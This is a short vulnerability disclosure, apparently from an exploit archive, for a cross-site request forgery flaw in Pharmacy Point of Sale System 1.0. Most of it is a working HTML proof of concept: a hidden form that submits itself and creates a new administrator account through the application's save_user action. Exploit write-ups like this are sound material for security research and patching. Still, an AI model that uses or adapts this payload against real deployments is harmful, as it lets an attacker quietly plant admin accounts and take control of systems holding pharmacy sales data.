# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)# Date: 10/11/2021# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html# Version: 1# Tested on: Windows 10
Detail:
The application isnot using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using crafted post request.
CSRF PoC:--------------------------------------------------------------------------------------<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><form action="http://localhost/pharmacy/Actions.php?a=save_user" method="POST"><inputtype="hidden" name="id" value=""/><inputtype="hidden" name="fullname" value="Mrt"/><inputtype="hidden" name="username" value="NewAdmin"/><inputtype="hidden" name="type" value="1"/><inputtype="submit" value="Submit request"/></form><script>
document.forms[0].submit();</script></body></html>--------------------------------------------------------------------------------------